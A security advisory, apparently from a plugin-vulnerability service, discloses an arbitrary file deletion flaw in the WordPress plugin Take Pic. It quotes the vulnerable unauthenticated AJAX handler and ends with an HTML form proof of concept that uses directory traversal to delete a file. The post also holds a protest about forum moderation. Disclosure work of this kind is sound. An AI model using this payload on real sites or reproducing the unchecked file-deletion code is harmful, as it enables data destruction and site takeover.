WordPress Plugin Take Pic Contains Arbitrary File Deletion Vulnerability
A negative review of the WordPress plugin Take Pic made this claim:
This plugin is full of malwares. WordPress should delete this plugin. immediately after installing this plugin my sites get infected.
When we checked over the plugin we didn’t find that claim to be substantiated, but did find that the plugin lacks basic security, which among other things would allow an attacker to delete arbitrary files from the website. That could be used to take over the website, by deleting WordPress’ configuration file. We would recommend not using the plugin unless it has had a thorough security review done and all the issues found are addressed.
The plugin registers the function ajaxDeleteImage() to be accessible to those logged in to WordPress as well as those not logged in:
186 187 | add_action('wp_ajax_ajaxDeleteImage', array($this ,'ajaxDeleteImage')); add_action('wp_ajax_nopriv_ajaxDeleteImage', array($this ,'ajaxDeleteImage')); |
That function, which is located in the file /TakePic.php, allows files with arbitrary names specified by the POST input “image” to be deleted:
423 424 425 426 427 | public function ajaxDeleteImage(){ $uploadDir = wp_upload_dir(); if(unlink($uploadDir['basedir'].str_replace(content_url().'/uploads', '', $_POST['image']))): |
Through directory traversal, files outside of the intended directory can be deleted.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will delete a file named “test.txt” located in the root directory of the website, when logged in to WordPress.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=ajaxDeleteImage" method="POST"> <input type="hidden" name="image" value="/../../test.txt" /> <input type="submit" value="Submit" /> </form> </body>